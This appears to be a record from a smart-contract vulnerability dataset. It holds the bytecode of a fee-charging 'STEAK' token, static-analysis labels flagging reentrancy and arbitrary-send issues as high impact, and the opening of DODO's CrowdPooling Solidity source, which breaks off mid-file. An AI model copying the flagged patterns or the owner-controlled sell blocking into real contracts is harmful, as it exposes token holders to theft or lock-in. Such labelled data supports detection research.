1673ffffffffffffffffffffffffffffffffffffffff16146107a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079e9061380c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061080d30610b19565b905090565b60006009905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b261160a565b73ffffffffffffffffffffffffffffffffffffffff16146108d257600080fd5b60338110610915576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090c906137ac565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c5460405161094d91906138ec565b60405180910390a150565b61096061160a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e49061380c565b60405180910390fd5b80601660156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601660159054906101000a900460ff16604051610a4591906136cf565b60405180910390a150565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610aa09190613b03565b9050919050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ae861160a565b73ffffffffffffffffffffffffffffffffffffffff1614610b0857600080fd5b6000479050610b1681612265565b50565b6000610b63600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612402565b9050919050565b610b7261160a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf69061380c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600d81526020017f535445414bf09f9095f09fa5a900000000000000000000000000000000000000815250905090565b6000610d37610d3061160a565b84846117dd565b6001905092915050565b6000601660159054906101000a900460ff16905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610da89190613b03565b9050919050565b610db761160a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3b9061380c565b60405180910390fd5b60005b8151811015610ed557600160066000848481518110610e6957610e68613cda565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ecd90613c02565b915050610e47565b5050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f1a61160a565b73ffffffffffffffffffffffffffffffffffffffff1614610f3a57600080fd5b6000610f4530610b19565b9050610f5081612470565b50565b610f5b61160a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fe8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fdf9061380c565b60405180910390fd5b6001601660146101000a81548160ff0219169083151502179055506078426110109190613a22565b601781905550603c426110239190613a22565b601881905550610384426110379190613a22565b601981905550565b600061106c601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b19565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61110061160a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461118d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111849061380c565b60405180910390fd5b601660149054906101000a900460ff16156111dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d4906138ac565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061126d30601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611612565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156112b357600080fd5b505afa1580156112c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112eb91906130c8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561134d57600080fd5b505afa158015611361573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138591906130c8565b6040518363ffffffff1660e01b81526004016113a292919061361c565b602060405180830381600087803b1580156113bc57600080fd5b505af11580156113d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f491906130c8565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061147d30610b19565b600080611488610cbd565b426040518863ffffffff1660e01b81526004016114aa9695949392919061366e565b6060604051808303818588803b1580156114c357600080fd5b505af11580156114d7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114fc9190613298565b5050506729a2241af62c000060118190555042600e81905550601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016115b4929190613645565b602060405180830381600087803b1580156115ce57600080fd5b505af11580156115e2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611606919061323e565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611682576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116799061388c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e99061374c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117d091906138ec565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561184d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118449061386c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b49061370c565b60405180910390fd5b60008111611900576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f79061382c565b60405180910390fd5b611908610cbd565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119765750611946610cbd565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561213e57601660159054906101000a900460ff1615611a7c57600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611a7b576040518060600160405280600081526020016000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b275750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b7d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611db957601660149054906101000a900460ff16611bd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc8906138cc565b60405180910390fd5b6006600a819055506004600b81905550601660159054906101000a900460ff1615611d4f57426017541115611ce757601154811115611c0f57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611c93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c8a9061376c565b60405180910390fd5b603c42611ca09190613a22565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b426019541115611d4e576000611cfc83610b19565b9050611d2e6064611d206002683635c9adc5dea000006126f690919063ffffffff16565b61277190919063ffffffff16565b611d4182846127bb90919063ffffffff16565b1115611d4c57600080fd5b505b5b601660159054906101000a900460ff1615611db857600f42611d719190613a22565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611dc430610b19565b905060168054906101000a900460ff16158015611e2f5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611e475750601660149054906101000a900460ff165b1561213c57600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611ef05750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ef957600080fd5b601660159054906101000a900460ff1615611fd75742600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611f92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f89906137cc565b60405180910390fd5b4260185410611fd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fcd9061384c565b60405180910390fd5b5b601660179054906101000a900460ff1615612061576000612003600d54846126f690919063ffffffff16565b905061205461204584612037601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b19565b6127bb90919063ffffffff16565b8261277190919063ffffffff16565b905061205f81612819565b505b6000811115612122576120bc60646120ae600c546120a0601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b19565b6126f690919063ffffffff16565b61277190919063ffffffff16565b811115612118576121156064612107600c546120f9601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b19565b6126f690919063ffffffff16565b61277190919063ffffffff16565b90505b61212181612470565b5b6000479050600081111561213a5761213947612265565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121e55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156121ef57600090505b6121fb848484846128d0565b50505050565b6000838311158290612249576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224091906136ea565b60405180910390fd5b50600083856122589190613b03565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122b560028461277190919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122e0573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612344600261233660028661277190919063ffffffff16565b61277190919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561236f573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123d360026123c560028661277190919063ffffffff16565b61277190919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123fe573d6000803e3d6000fd5b5050565b6000600854821115612449576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124409061372c565b60405180910390fd5b60006124536128fd565b9050612468818461277190919063ffffffff16565b915050919050565b60016016806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156124a7576124a6613d09565b5b6040519080825280602002602001820160405280156124d55781602001602082028036833780820191505090505b50905030816000815181106124ed576124ec613cda565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561258f57600080fd5b505afa1580156125a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125c791906130c8565b816001815181106125db576125da613cda565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061264230601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611612565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016126a6959493929190613907565b600060405180830381600087803b1580156126c057600080fd5b505af11580156126d4573d6000803e3d6000fd5b505050505060006016806101000a81548160ff02191690831515021790555050565b600080831415612709576000905061276b565b600082846127179190613aa9565b90508284826127269190613a78565b14612766576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161275d906137ec565b60405180910390fd5b809150505b92915050565b60006127b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612928565b905092915050565b60008082846127ca9190613a22565b90508381101561280f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128069061378c565b60405180910390fd5b8091505092915050565b6000600a9050600a82101561283157600a9050612848565b60288211156128435760289050612847565b8190505b5b600061285e60028361298b90919063ffffffff16565b1461287257808061286e90613c02565b9150505b612899600a61288b6006846126f690919063ffffffff16565b61277190919063ffffffff16565b600a819055506128c6600a6128b86004846126f690919063ffffffff16565b61277190919063ffffffff16565b600b819055505050565b806128de576128dd6129d5565b5b6128e9848484612a18565b806128f7576128f6612be3565b5b50505050565b600080600061290a612bf7565b91509150612921818361277190919063ffffffff16565b9250505090565b6000808311829061296f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161296691906136ea565b60405180910390fd5b506000838561297e9190613a78565b9050809150509392505050565b60006129cd83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612c59565b905092915050565b6000600a541480156129e957506000600b54145b156129f357612a16565b600a54600f81905550600b546010819055506000600a819055506000600b819055505b565b600080600080600080612a2a87612cb7565b955095509550955095509550612a8886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d1f90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b1d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127bb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b6981612d69565b612b738483612e26565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612bd091906138ec565b60405180910390a3505050505050505050565b600f54600a81905550601054600b81905550565b600080600060085490506000683635c9adc5dea000009050612c2d683635c9adc5dea0000060085461277190919063ffffffff16565b821015612c4c57600854683635c9adc5dea00000935093505050612c55565b81819350935050505b9091565b6000808314158290612ca1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c9891906136ea565b60405180910390fd5b508284612cae9190613c4b565b90509392505050565b6000806000806000806000806000612cd48a600a54600b54612e60565b9250925092506000612ce46128fd565b90506000806000612cf78e878787612ef6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612d6183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612201565b905092915050565b6000612d736128fd565b90506000612d8a82846126f690919063ffffffff16565b9050612dde81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127bb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612e3b82600854612d1f90919063ffffffff16565b600881905550612e56816009546127bb90919063ffffffff16565b6009819055505050565b600080600080612e8c6064612e7e888a6126f690919063ffffffff16565b61277190919063ffffffff16565b90506000612eb66064612ea8888b6126f690919063ffffffff16565b61277190919063ffffffff16565b90506000612edf82612ed1858c612d1f90919063ffffffff16565b612d1f90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612f0f85896126f690919063ffffffff16565b90506000612f2686896126f690919063ffffffff16565b90506000612f3d87896126f690919063ffffffff16565b90506000612f6682612f588587612d1f90919063ffffffff16565b612d1f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612f92612f8d846139a1565b61397c565b90508083825260208201905082856020860282011115612fb557612fb4613d3d565b5b60005b85811015612fe55781612fcb8882612fef565b845260208401935060208301925050600181019050612fb8565b5050509392505050565b600081359050612ffe8161411a565b92915050565b6000815190506130138161411a565b92915050565b600082601f83011261302e5761302d613d38565b5b813561303e848260208601612f7f565b91505092915050565b60008135905061305681614131565b92915050565b60008151905061306b81614131565b92915050565b60008135905061308081614148565b92915050565b60008151905061309581614148565b92915050565b6000602082840312156130b1576130b0613d47565b5b60006130bf84828501612fef565b91505092915050565b6000602082840312156130de576130dd613d47565b5b60006130ec84828501613004565b91505092915050565b6000806040838503121561310c5761310b613d47565b5b600061311a85828601612fef565b925050602061312b85828601612fef565b9150509250929050565b60008060006060848603121561314e5761314d613d47565b5b600061315c86828701612fef565b935050602061316d86828701612fef565b925050604061317e86828701613071565b9150509250925092565b6000806040838503121561319f5761319e613d47565b5b60006131ad85828601612fef565b92505060206131be85828601613071565b9150509250929050565b6000602082840312156131de576131dd613d47565b5b600082013567ffffffffffffffff8111156131fc576131fb613d42565b5b61320884828501613019565b91505092915050565b60006020828403121561322757613226613d47565b5b600061323584828501613047565b91505092915050565b60006020828403121561325457613253613d47565b5b60006132628482850161305c565b91505092915050565b60006020828403121561328157613280613d47565b5b600061328f84828501613071565b91505092915050565b6000806000606084860312156132b1576132b0613d47565b5b60006132bf86828701613086565b93505060206132d086828701613086565b92505060406132e186828701613086565b9150509250925092565b60006132f78383613303565b60208301905092915050565b61330c81613b37565b82525050565b61331b81613b37565b82525050565b600061332c826139dd565b6133368185613a00565b9350613341836139cd565b8060005b8381101561337257815161335988826132eb565b9750613364836139f3565b925050600181019050613345565b5085935050505092915050565b61338881613b49565b82525050565b61339781613b8c565b82525050565b60006133a8826139e8565b6133b28185613a11565b93506133c2818560208601613b9e565b6133cb81613d4c565b840191505092915050565b60006133e3602383613a11565b91506133ee82613d5d565b604082019050919050565b6000613406602a83613a11565b915061341182613dac565b604082019050919050565b6000613429602283613a11565b915061343482613dfb565b604082019050919050565b600061344c602283613a11565b915061345782613e4a565b604082019050919050565b600061346f601b83613a11565b915061347a82613e99565b602082019050919050565b6000613492601583613a11565b915061349d82613ec2565b602082019050919050565b60006134b5602383613a11565b91506134c082613eeb565b604082019050919050565b60006134d8602183613a11565b91506134e382613f3a565b604082019050919050565b60006134fb602083613a11565b915061350682613f89565b602082019050919050565b600061351e602983613a11565b915061352982613fb2565b604082019050919050565b6000613541601b83613a11565b915061354c82614001565b602082019050919050565b6000613564602583613a11565b915061356f8261402a565b604082019050919050565b6000613587602483613a11565b915061359282614079565b604082019050919050565b60006135aa601783613a11565b91506135b5826140c8565b602082019050919050565b60006135cd601883613a11565b91506135d8826140f1565b602082019050919050565b6135ec81613b75565b82525050565b6135fb81613b7f565b82525050565b60006020820190506136166000830184613312565b92915050565b60006040820190506136316000830185613312565b61363e6020830184613312565b9392505050565b600060408201905061365a6000830185613312565b61366760208301846135e3565b9392505050565b600060c0820190506136836000830189613312565b61369060208301886135e3565b61369d604083018761338e565b6136aa606083018661338e565b6136b76080830185613312565b6136c460a08301846135e3565b979650505050505050565b60006020820190506136e4600083018461337f565b92915050565b60006020820190508181036000830152613704818461339d565b905092915050565b60006020820190508181036000830152613725816133d6565b9050919050565b60006020820190508181036000830152613745816133f9565b9050919050565b600060208201905081810360008301526137658161341c565b9050919050565b600060208201905081810360008301526137858161343f565b9050919050565b600060208201905081810360008301526137a581613462565b9050919050565b600060208201905081810360008301526137c581613485565b9050919050565b600060208201905081810360008301526137e5816134a8565b9050919050565b60006020820190508181036000830152613805816134cb565b9050919050565b60006020820190508181036000830152613825816134ee565b9050919050565b6000602082019050818103600083015261384581613511565b9050919050565b6000602082019050818103600083015261386581613534565b9050919050565b6000602082019050818103600083015261388581613557565b9050919050565b600060208201905081810360008301526138a58161357a565b9050919050565b600060208201905081810360008301526138c58161359d565b9050919050565b600060208201905081810360008301526138e5816135c0565b9050919050565b600060208201905061390160008301846135e3565b92915050565b600060a08201905061391c60008301886135e3565b613929602083018761338e565b818103604083015261393b8186613321565b905061394a6060830185613312565b61395760808301846135e3565b9695505050505050565b600060208201905061397660008301846135f2565b92915050565b6000613986613997565b90506139928282613bd1565b919050565b6000604051905090565b600067ffffffffffffffff8211156139bc576139bb613d09565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613a2d82613b75565b9150613a3883613b75565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613a6d57613a6c613c7c565b5b828201905092915050565b6000613a8382613b75565b9150613a8e83613b75565b925082613a9e57613a9d613cab565b5b828204905092915050565b6000613ab482613b75565b9150613abf83613b75565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613af857613af7613c7c565b5b828202905092915050565b6000613b0e82613b75565b9150613b1983613b75565b925082821015613b2c57613b2b613c7c565b5b828203905092915050565b6000613b4282613b55565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613b9782613b75565b9050919050565b60005b83811015613bbc578082015181840152602081019050613ba1565b83811115613bcb576000848401525b50505050565b613bda82613d4c565b810181811067ffffffffffffffff82111715613bf957613bf8613d09565b5b80604052505050565b6000613c0d82613b75565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613c4057613c3f613c7c565b5b600182019050919050565b6000613c5682613b75565b9150613c6183613b75565b925082613c7157613c70613cab565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f53656c6c696e67206973206e6f742079657420616c6c6f7765642e0000000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b61412381613b37565b811461412e57600080fd5b50565b61413a81613b49565b811461414557600080fd5b50565b61415181613b75565b811461415c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a61a8a06e24418211a248b9b3d9d0841844bd7f721bc40cb19971770c6adecd464736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,311 |
0x78D338F9d54E9e41872E68cB1c01d9499d87eE52
|
/**
*Submitted for verification at Etherscan.io on 2021-03-15
*/
// File: contracts/lib/InitializableOwnable.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract InitializableOwnable {
address public _OWNER_;
address public _NEW_OWNER_;
bool internal _INITIALIZED_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier notInitialized() {
require(!_INITIALIZED_, "DODO_INITIALIZED");
_;
}
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
function initOwner(address newOwner) public notInitialized {
_INITIALIZED_ = true;
_OWNER_ = newOwner;
}
function transferOwnership(address newOwner) public onlyOwner {
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() public {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/lib/CloneFactory.sol
interface ICloneFactory {
function clone(address prototype) external returns (address proxy);
}
// introduction of proxy mode design: https://docs.openzeppelin.com/upgrades/2.8/
// minimum implementation of transparent proxy: https://eips.ethereum.org/EIPS/eip-1167
contract CloneFactory is ICloneFactory {
function clone(address prototype) external override returns (address proxy) {
bytes20 targetBytes = bytes20(prototype);
assembly {
let clone := mload(0x40)
mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone, 0x14), targetBytes)
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
proxy := create(0, clone, 0x37)
}
return proxy;
}
}
// File: contracts/CrowdPooling/intf/ICP.sol
interface ICP {
function init(
address[] calldata addressList,
uint256[] calldata timeLine,
uint256[] calldata valueList,
bool isOpenTWAP
) external;
function bid(address to) external;
function cancel(address assetTo, uint256 amount) external;
function settle() external;
function emergencySettle() external;
function claimBase() external;
function claimQuote() external;
function claimLPToken() external;
}
// File: contracts/lib/SafeMath.sol
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
